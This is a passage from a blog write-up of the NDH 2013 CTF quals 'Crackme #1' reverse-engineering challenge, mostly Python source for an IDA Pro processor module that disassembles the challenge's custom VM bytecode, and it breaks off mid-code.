w4kfu's bl0g w4kfu's bl0g http://blog.w4kfu.com/ 2018-01-04T23:14:14Z w4kfu CBlog 0.1.5 Another NDH quals another VM wait ... w4kfu <h2>Introduction</h2> <p>Last weekend I participated in the <a href="http://quals.nuitduhack.com/">Nuit du Hack CTF Quals 2013</a> with my teamate <a href="http://blog.delroth.net">delroth</a>, you can find an excellent write-up about escaping a Python sandbox on his blog.</p> <p>So I decided to post a writeup too about the last crackme challenge &quot;Crackme #1&quot;.</p> <p>This Reverse Engineering challenge was a virtual machine, so I decided to reverse the full vm, but today I figured out something ...</p> <p>Do you remember last ndh prequals ? no no I will not talk about bmp chall but about VMNDH-2k12, it was exactly the same VM (I'm very sad to have lost some hours to reverse something that I know), the <em>only</em> changes was the opcode values, so this post will not deal with the vm stuff you have all the information on this <a href="http://shell-storm.org/project/VMNDH/">website</a>.</p> <h2>VM Opcode</h2> <p>You can find the vm dump at :</p> <pre><code>LOAD:000000000048F2E8 vm_dump db 7Fh ; LOAD:000000000048F2E9 db 45h ; E LOAD:000000000048F2EA db 4Ch ; L LOAD:000000000048F2EB db 46h ; F LOAD:000000000048F2EC db 72h ; r LOAD:000000000048F2ED db 3 LOAD:000000000048F2EE db 0Ah </code></pre> <p>Real vm code start at offset 0x06 (byte 0x0A) and the size of the vm code is 0x371 (881 bytes).</p> <h2>Do you want to mary me ?</h2> <p>I love IDA, and I like writting plugins, scripts, processor (when I don't have to reverse IDA for understanding how their api works :p) in python, so after reversing almost the same vm, I decided to write my ndh2k13 processor, here is the code :</p> <pre><code><div class="highlight"><span class="kn">from</span> <span class="nn">idaapi</span> <span class="kn">import</span> <span class="o">*</span> <span class="k">class</span> <span class="nc">DecodingError</span><span class="p">(</span><span class="ne">Exception</span><span class="p">):</span> <span class="k">pass</span> <span class="k">class</span> <span class="nc">NDHProcessor</span><span class="p">(</span><span class="n">processor_t</span><span class="p">):</span> <span class="nb">id</span> <span class="o">=</span> <span class="mh">0x8000</span> <span class="o">+</span> <span class="mi">5855</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">PR_ADJSEGS</span> <span class="o">|</span> <span class="n">PRN_HEX</span> <span class="n">cnbits</span> <span class="o">=</span> <span class="mi">8</span> <span class="n">dnbits</span> <span class="o">=</span> <span class="mi">8</span> <span class="n">psnames</span> <span class="o">=</span> <span class="p">[</span><span class="s">&quot;ndh2k13&quot;</span><span class="p">]</span> <span class="n">plnames</span> <span class="o">=</span> <span class="p">[</span><span class="s">&quot;ndh2k13 VM CPU&quot;</span><span class="p">]</span> <span class="n">segreg_size</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">instruc_start</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">assembler</span> <span class="o">=</span> <span class="p">{</span> <span class="s">&quot;flag&quot;</span><span class="p">:</span> <span class="n">AS_NCHRE</span> <span class="o">|</span> <span class="n">ASH_HEXF4</span> <span class="o">|</span> <span class="n">ASD_DECF1</span> <span class="o">|</span> <span class="n">ASO_OCTF3</span> <span class="o">|</span> <span class="n">ASB_BINF2</span> <span class="o">|</span> <span class="n">AS_NOTAB</span><span class="p">,</span> <span class="s">&quot;uflag&quot;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s">&quot;name&quot;</span><span class="p">:</span> <span class="s">&quot;NDH assembler&quot;</span><span class="p">,</span> <span class="s">&quot;origin&quot;</span><span class="p">:</span> <span class="s">&quot;.org&quot;</span><span class="p">,</span> <span class="s">&quot;end&quot;</span><span class="p">:</span> <span class="s">&quot;.end&quot;</span><span class="p">,</span> <span class="s">&quot;cmnt&quot;</span><span class="p">:</span> <span class="s">&quot;;&quot;</span><span class="p">,</span> <span class="s">&quot;ascsep&quot;</span><span class="p">:</span> <span class="s">&#39;&quot;&#39;</span><span class="p">,</span> <span class="s">&quot;accsep&quot;</span><span class="p">:</span> <span class="s">&quot;&#39;&quot;</span><span class="p">,</span> <span class="s">&quot;esccodes&quot;</span><span class="p">:</span> <span class="s">&quot;</span><span class="se">\&quot;</span><span class="s">&#39;&quot;</span><span class="p">,</span> <span class="s">&quot;a_ascii&quot;</span><span class="p">:</span> <span class="s">&quot;.ascii&quot;</span><span class="p">,</span> <span class="s">&quot;a_byte&quot;</span><span class="p">:</span> <span class="s">&quot;.byte&quot;</span><span class="p">,</span> <span class="s">&quot;a_word&quot;</span><span class="p">:</span> <span class="s">&quot;.word&quot;</span><span class="p">,</span> <span class="s">&quot;a_bss&quot;</span><span class="p">:</span> <span class="s">&quot;dfs </span><span class="si">%s</span><span class="s">&quot;</span><span class="p">,</span> <span class="s">&quot;a_seg&quot;</span><span class="p">:</span> <span class="s">&quot;seg&quot;</span><span class="p">,</span> <span class="s">&quot;a_curip&quot;</span><span class="p">:</span> <span class="s">&quot;PC&quot;</span><span class="p">,</span> <span class="s">&quot;a_public&quot;</span><span class="p">:</span> <span class="s">&quot;&quot;</span><span class="p">,</span> <span class="s">&quot;a_weak&quot;</span><span class="p">:</span> <span class="s">&quot;&quot;</span><span class="p">,</span> <span class="s">&quot;a_extrn&quot;</span><span class="p">:</span> <span class="s">&quot;.extern&quot;</span><span class="p">,</span> <span class="s">&quot;a_comdef&quot;</span><span class="p">:</span> <span class="s">&quot;&quot;</span><span class="p">,</span> <span class="s">&quot;a_align&quot;</span><span class="p">:</span> <span class="s">&quot;.align&quot;</span><span class="p">,</span> <span class="s">&quot;lbrace&quot;</span><span class="p">:</span> <span class="s">&quot;(&quot;</span><span class="p">,</span> <span class="s">&quot;rbrace&quot;</span><span class="p">:</span> <span class="s">&quot;)&quot;</span><span class="p">,</span> <span class="s">&quot;a_mod&quot;</span><span class="p">:</span> <span class="s">&quot;%&quot;</span><span class="p">,</span> <span class="s">&quot;a_band&quot;</span><span class="p">:</span> <span class="s">&quot;&amp;&quot;</span><span class="p">,</span> <span class="s">&quot;a_bor&quot;</span><span class="p">:</span> <span class="s">&quot;|&quot;</span><span class="p">,</span> <span class="s">&quot;a_xor&quot;</span><span class="p">:</span> <span class="s">&quot;^&quot;</span><span class="p">,</span> <span class="s">&quot;a_bnot&quot;</span><span class="p">:</span> <span class="s">&quot;~&quot;</span><span class="p">,</span> <span class="s">&quot;a_shl&quot;</span><span class="p">:</span> <span class="s">&quot;&lt;&lt;&quot;</span><span class="p">,</span> <span class="s">&quot;a_shr&quot;</span><span class="p">:</span> <span class="s">&quot;&gt;&gt;&quot;</span><span class="p">,</span> <span class="s">&quot;a_sizeof_fmt&quot;</span><span class="p">:</span> <span class="s">&quot;size </span><span class="si">%s</span><span class="s">&quot;</span><span class="p">,</span> <span class="p">}</span> <span class="n">reg_names</span> <span class="o">=</span> <span class="n">regNames</span> <span class="o">=</span> <span class="p">[</span> <span class="s">&quot;R0&quot;</span><span class="p">,</span> <span class="s">&quot;R1&quot;</span><span class="p">,</span> <span class="s">&quot;R2&quot;</span><span class="p">,</span> <span class="s">&quot;R3&quot;</span><span class="p">,</span> <span class="s">&quot;R4&quot;</span><span class="p">,</span> <span class="s">&quot;R5&quot;</span><span class="p">,</span> <span class="s">&quot;R6&quot;</span><span class="p">,</span> <span class="s">&quot;R7&quot;</span><span class="p">,</span> <span class="s">&quot;SP&quot;</span><span class="p">,</span> <span class="s">&quot;BP&quot;</span><span class="p">,</span> <span class="s">&quot;CS&quot;</span><span class="p">,</span> <span class="s">&quot;DS&quot;</span> <span class="p">]</span> <span class="n">instruc</span> <span class="o">=</span> <span class="n">instrs</span> <span class="o">=</span> <span class="p">[</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;PUSH&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;PUSHB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;PUSHW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;NOP&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;POP&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;MOV&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;MOVB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;MOVW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;ADD&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;ADDB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;ADDW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;SUB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;SUBB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;SUBW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;MUL&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;MULB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;MULW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;DIV&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;DIVB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;DIVW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;INC&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;DEC&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;OR&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;ORB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;ORW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;AND&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;ANDB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;ANDW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;XOR&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;XORB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;XORW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;NOT&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;JZ&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;JNZ&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;JMPS&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_STOP</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;TEST&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;CMP&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;CMPB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;CMPW&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;CALL&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_CALL</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;RET&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_STOP</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;JMPL&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_STOP</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;END&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_STOP</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;XCHG&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="o">|</span> <span class="n">CF_USE2</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;JA&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;JB&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="n">CF_USE1</span> <span class="p">},</span> <span class="p">{</span> <span class="s">&#39;name&#39;</span><span class="p">:</span> <span class="s">&#39;SYSCALL&#39;</span><span class="p">,</span> <span class="s">&#39;feature&#39;</span><span class="p">:</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">]</span> <span class="n">instruc_end</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">instruc</span><span class="p">)</span> <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="n">processor_t</span><span class="o">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="bp">self</span><span class="o">.</span><span class="n">_init_instructions</span><span class="p">()</span> <span class="bp">self</span><span class="o">.</span><span class="n">_init_registers</span><span class="p">()</span> <span class="k">def</span> <span class="nf">_init_instructions</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span> <span class="o">=</span> <span class="p">{}</span> <span class="k">for</span> <span class="n">idx</span><span class="p">,</span> <span class="n">ins</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">instrs</span><span class="p">):</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">ins</span><span class="p">[</span><span class="s">&#39;name&#39;</span><span class="p">]]</span> <span class="o">=</span> <span class="n">idx</span> <span class="k">def</span> <span class="nf">_init_registers</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="bp">self</span><span class="o">.</span><span class="n">reg_ids</span> <span class="o">=</span> <span class="p">{}</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">reg</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">reg_names</span><span class="p">):</span> <span class="bp">self</span><span class="o">.</span><span class="n">reg_ids</span><span class="p">[</span><span class="n">reg</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span> <span class="bp">self</span><span class="o">.</span><span class="n">regFirstSreg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">regCodeSreg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">reg_ids</span><span class="p">[</span><span class="s">&quot;CS&quot;</span><span class="p">]</span> <span class="bp">self</span><span class="o">.</span><span class="n">regLastSreg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">regDataSreg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">reg_ids</span><span class="p">[</span><span class="s">&quot;DS&quot;</span><span class="p">]</span> <span class="k">def</span> <span class="nf">_read_cmd_byte</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="n">ea</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span><span class="o">.</span><span class="n">ea</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span><span class="o">.</span><span class="n">size</span> <span class="n">byte</span> <span class="o">=</span> <span class="n">get_full_byte</span><span class="p">(</span><span class="n">ea</span><span class="p">)</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span><span class="o">.</span><span class="n">size</span> <span class="o">+=</span> <span class="mi">1</span> <span class="k">return</span> <span class="n">byte</span> <span class="k">def</span> <span class="nf">_read_reg</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="n">r</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="k">if</span> <span class="n">r</span> <span class="o">&gt;=</span> <span class="mh">0x0A</span><span class="p">:</span> <span class="k">raise</span> <span class="n">DecodingError</span><span class="p">()</span> <span class="k">return</span> <span class="n">r</span> <span class="k">def</span> <span class="nf">_ana_ntypeinstr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">valid</span><span class="p">):</span> <span class="n">cmd</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">cmd</span> <span class="n">optype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="k">if</span> <span class="n">optype</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">valid</span><span class="p">:</span> <span class="k">raise</span> <span class="n">DecodingError</span><span class="p">()</span> <span class="k">if</span> <span class="n">optype</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">):</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_reg</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="k">if</span> <span class="n">optype</span> <span class="o">==</span> <span class="mh">0x0</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_reg</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">reg</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_reg</span><span class="p">()</span> <span class="k">elif</span> <span class="n">optype</span> <span class="o">==</span> <span class="mh">0x1</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span> <span class="o">+</span> <span class="s">&quot;B&quot;</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_imm</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_byte</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="k">elif</span> <span class="n">optype</span> <span class="o">==</span> <span class="mh">0x2</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span> <span class="o">+</span> <span class="s">&quot;W&quot;</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_imm</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_word</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">value</span> <span class="o">|=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span> <span class="k">elif</span> <span class="n">optype</span> <span class="o">==</span> <span class="mh">0x3</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="k">elif</span> <span class="n">optype</span> <span class="o">==</span> <span class="mh">0x4</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span> <span class="o">+</span> <span class="s">&quot;B&quot;</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">o_imm</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">dtyp</span> <span class="o">=</span> <span class="n">dt_byte</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_read_cmd_byte</span><span class="p">()</span> <span class="k">elif</span> <span class="n">optype</span> <span class="o">==</span> <span class="mh">0x5</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">itype</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">inames</span><span class="p">[</span><span class="n">name</span> <span class="o">+</span> <span class="s">&quot;W&quot;</span><span class="p">]</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span 